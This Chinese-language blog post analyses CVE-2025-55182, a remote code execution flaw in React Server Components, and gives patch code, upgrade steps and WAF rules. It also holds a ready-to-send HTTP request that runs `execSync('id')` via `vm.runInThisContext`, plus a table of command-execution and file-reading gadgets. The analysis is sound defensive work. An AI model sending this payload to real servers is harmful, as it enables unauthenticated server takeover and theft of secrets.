React Server Components 的致命漏洞CVE-2025-55182

CVE-2025-55182:React Server Components 的致命漏洞,CVSS 10.0 的未授权远程代码执行

⚠️ 严重警告:如果你在使用 React Server Components,请立即检查并升级到安全版本!

📌 漏洞速览

  • CVE编号:CVE-2025-55182
  • 严重程度:CVSS 10.0(最高级别)
  • 漏洞类型:未授权远程代码执行(RCE)
  • 影响范围:React 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • 修复版本:19.0.1, 19.1.2, 19.2.1

2025年12月3日,React 团队紧急发布安全公告,披露了一个影响 React Server Components 的严重安全漏洞。攻击者可以在无需身份验证 的情况下,通过精心构造的 HTTP 请求实现远程代码执行,完全控制服务器。

🎯 谁受影响?

如果你在使用以下任一技术栈,请立即检查

  • Next.js(所有使用 React Server Components 的版本)
  • React Router(使用 RSC API)
  • Waku
  • Expo(使用 Server Components)
  • Redwood SDK
  • @vitejs/plugin-rsc
  • ✅ 任何直接使用 react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack 的项目

重要提示:即使你的应用没有实现任何 React Server Function 端点,只要支持 React Server Components,就可能存在风险!

🔍 漏洞原理深度解析

核心问题:原型链污染

这个漏洞的根本原因在于 React 在处理 Server Function 请求时,使用了不安全的属性访问方式

漏洞代码位置

漏洞位于 react-server-dom-webpack 包的 requireModule 函数中:

javascript 复制代码
// 漏洞代码(React 19.0.0)
function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... 省略其他代码 ...
  return moduleExports[metadata[2]];  // ⚠️ 危险:访问了原型链!
}
问题分析

在 JavaScript 中,使用方括号 obj[key] 访问属性时,会遍历整个原型链。这意味着:

javascript 复制代码
const fs = require('fs');
fs['readFileSync']  // ✅ 正常:访问自己的属性
fs['constructor']   // ⚠️ 危险:访问到 Object.prototype.constructor
fs['__proto__']    // ⚠️ 危险:访问到 Object.prototype

攻击者可以利用这个特性,通过 #constructor#__proto__ 等特殊属性名,访问到模块导出对象的原型链属性。

攻击流程

完整的攻击流程如下:

css 复制代码
1. 攻击者发送恶意 HTTP POST 请求
   ↓
2. 请求包含 $ACTION_REF_0 和 $ACTION_0:0 字段
   ↓
3. decodeAction() 解析请求
   ↓
4. resolveServerReference() 解析模块ID(如 "vm#runInThisContext")
   ↓
5. requireModule() 加载模块并访问导出
   ↓
6. moduleExports[metadata[2]] 访问原型链 ⚠️
   ↓
7. 返回危险函数(如 vm.runInThisContext)
   ↓
8. 函数被调用,执行攻击者代码 💥

实际攻击示例

攻击者可以构造如下请求:

http 复制代码
POST /formaction HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('id').toString()"]}
------Boundary--

这个请求会:

  1. 加载 vm 模块
  2. 访问 vm.runInThisContext 方法
  3. 将攻击者的代码作为参数绑定
  4. 执行时运行 execSync('id'),实现命令执行

💣 攻击向量(RCE Gadgets)

根据安全研究,以下 Node.js 模块如果存在于 webpack bundle 中,都可以被利用:

直接 RCE 向量

模块 方法 攻击效果
vm runInThisContext 在当前上下文执行任意 JavaScript
vm runInNewContext 在新上下文执行(可逃逸沙箱)
child_process execSync 直接执行 shell 命令
child_process execFileSync 执行二进制文件
child_process spawnSync 创建新进程

文件操作向量

模块 方法 攻击效果
fs readFileSync 读取任意文件(如 .env、私钥)
fs writeFileSync 写入任意文件(持久化后门)

真实场景中的风险

这些危险模块在真实项目中非常常见:

  • fs :几乎所有 Node.js 应用都会使用(145M+ 周下载量)
    • 常见包:fs-extragray-mattermultersharp
  • child_process :构建工具、PDF 生成、图像处理常用(103M+ 周下载量)
    • 常见包:execashelljspuppeteersharp
  • vm :模板引擎、测试框架使用(21M+ 周下载量)
    • 常见包:ejspughandlebarsvm2

这意味着大多数使用 React Server Components 的应用都可能存在可被利用的危险模块!

🛡️ 修复方案

立即升级

React 团队已经在以下版本中修复了漏洞:

  • react-server-dom-webpack: >= 19.0.1, >= 19.1.2, >= 19.2.1
  • react-server-dom-parcel: >= 19.0.1, >= 19.1.2, >= 19.2.1
  • react-server-dom-turbopack: >= 19.0.1, >= 19.1.2, >= 19.2.1

修复代码

修复后的代码使用了 hasOwnProperty 检查,确保只访问对象自身的属性:

javascript 复制代码
// 修复后的代码(React 19.2.1+)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

框架特定升级指南

Next.js
bash 复制代码
# 根据你的 Next.js 版本选择对应的修复版本
npm install next@15.0.5   # for 15.0.x
npm install next@15.1.9   # for 15.1.x
npm install next@15.2.6   # for 15.2.x
npm install next@15.3.6   # for 15.3.x
npm install next@15.4.8   # for 15.4.x
npm install next@15.5.7   # for 15.5.x
npm install next@16.0.7   # for 16.0.x
React Router
bash 复制代码
npm install react@latest
npm install react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest
其他框架
  • Expo : npm install react@latest react-dom@latest react-server-dom-webpack@latest
  • Waku : npm install react@latest react-dom@latest react-server-dom-webpack@latest waku@latest
  • Redwood SDK : 确保 rwsdk>=1.0.0-alpha.0,然后升级 React 相关包

🔒 额外防护措施

1. 依赖审计

检查你的项目是否包含危险模块:

bash 复制代码
# 检查是否包含危险模块
npm list | grep -E "(vm|child_process|fs)"

2. Next.js 配置优化

next.config.js 中排除危险包,防止它们被打包:

javascript 复制代码
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs'
  ]
}

3. WAF 规则

如果你的应用部署在支持 WAF 的环境,可以添加以下规则拦截可疑请求:

bash 复制代码
# 拦截包含危险模式的请求
$ACTION_*#constructor
$ACTION_*#__proto__
$ACTION_*#prototype
vm#runInThisContext
child_process#execSync
fs#writeFileSync

4. 监控和告警

监控日志中的异常模式:

  • 包含 #constructor#__proto__ 的 Server Action 请求
  • vmchild_process 等模块的异常访问
  • 异常的 Server Function 调用

📊 漏洞时间线

  • 2025年11月29日:Lachlan Davidson 通过 Meta Bug Bounty 报告漏洞
  • 2025年11月30日:Meta 安全团队确认并开始修复
  • 2025年12月1日:修复完成,开始与托管提供商和开源项目协调
  • 2025年12月3日:修复发布到 npm,公开披露为 CVE-2025-55182

🎓 技术启示

这个漏洞给我们几个重要的安全启示:

1. 原型链访问的风险

在 JavaScript 中,使用方括号访问属性时,永远要考虑原型链 。对于用户可控的属性名,必须使用 hasOwnPropertyObject.prototype.hasOwnProperty.call() 进行检查。

2. 反序列化的危险性

任何涉及反序列化用户输入的地方都是高风险区域。React Server Components 的 Flight 协议本质上就是一种序列化/反序列化机制,需要严格验证。

3. 最小权限原则

即使修复了漏洞,也应该尽量减少服务器端 bundle 中包含的危险模块。只打包真正需要的代码。

4. 深度防御

Next.js 等框架在 React 底层之上添加了额外的验证层,这种深度防御策略在关键时刻起到了保护作用。

🔬 技术细节(进阶)

为什么 Function 构造函数不够?

你可能会想:既然可以访问 constructor,为什么不直接用 Function 构造函数执行代码?

问题在于,Function.bind(null, 'code')() 只会创建一个函数,而不会执行它:

javascript 复制代码
Function.bind(null, 'return 1+1')()  
// 返回:function anonymous() { return 1+1 }
// 不会执行!

vm.runInThisContext('1+1')立即执行并返回结果:

javascript 复制代码
vm.runInThisContext('1+1')
// 返回:2(已执行)

这就是为什么攻击者需要 vmchild_process 这样的"执行型"gadget。

Next.js 的额外保护

在 Next.js 中,攻击难度更高,因为:

  1. Manifest 验证:Next.js 的 manifest 只包含注册的 Server Action 哈希,不包含原始模块引用
  2. 框架层验证resolveServerReference() 会在调用 requireModule() 之前进行验证
  3. 模块隔离:危险模块通常不会被打包到 Server Components bundle 中

但这不意味着 Next.js 应用完全安全------如果攻击者能够:

  • 劫持现有的 action ID
  • 利用 manifest 的原型污染
  • 找到 bundler 的特殊行为

仍然可能实现攻击。

📚 相关资源

⚠️ 总结

CVE-2025-55182 是一个极其严重的漏洞,CVSS 10.0 的评分意味着:

  • 无需身份验证即可利用
  • 远程代码执行,完全控制服务器
  • 影响广泛,几乎所有使用 React Server Components 的应用

如果你在使用 React Server Components,请立即:

  1. ✅ 检查你的 React 版本
  2. ✅ 升级到修复版本
  3. ✅ 检查依赖中是否包含危险模块
  4. ✅ 配置 WAF 规则(如果可能)
  5. ✅ 监控异常请求

安全无小事,及时更新是关键!🔐


作者注:本文基于 React 官方安全公告和实际漏洞研究编写。如果你发现了本文中的错误或需要补充,欢迎指正。

免责声明:本文仅用于安全研究和教育目的。请勿将本文中的技术用于非法用途。

相关推荐
岁月宁静16 小时前
MasterGo AI 实战教程:10分钟生成网页设计图(附案例演示)
前端·aigc·视觉设计
狗头大军之江苏分军16 小时前
快手12·22事故原因的合理猜测
前端·后端
我命由我1234517 小时前
CSS 锚点定位 - 锚点定位引入(anchor-name、position-anchor)
开发语言·前端·javascript·css·学习·html·学习方法
哟哟耶耶17 小时前
js-清除首尾空白字符再进行空白匹配str.trim().match(...)
开发语言·前端·javascript
浮游本尊17 小时前
React 18.x 学习计划 - 第十天:React综合实践与项目构建
前端·学习·react.js
阿蔹17 小时前
UI测试自动化--Web--Python_Selenium-元素定位
前端·ui·自动化
万少17 小时前
【鸿蒙心迹】-03-自然壁纸实战教程-项目结构介绍
前端
万少17 小时前
【鸿蒙心迹】- 02-自然壁纸实战教程-AGC 新建项目
前端
南望无一17 小时前
Vite拆包后Chunk级别的循环依赖分析及解决方案
前端·vite
快乐星球喂17 小时前
子组件和父组件之间优雅通信---松耦合
前端·vue.js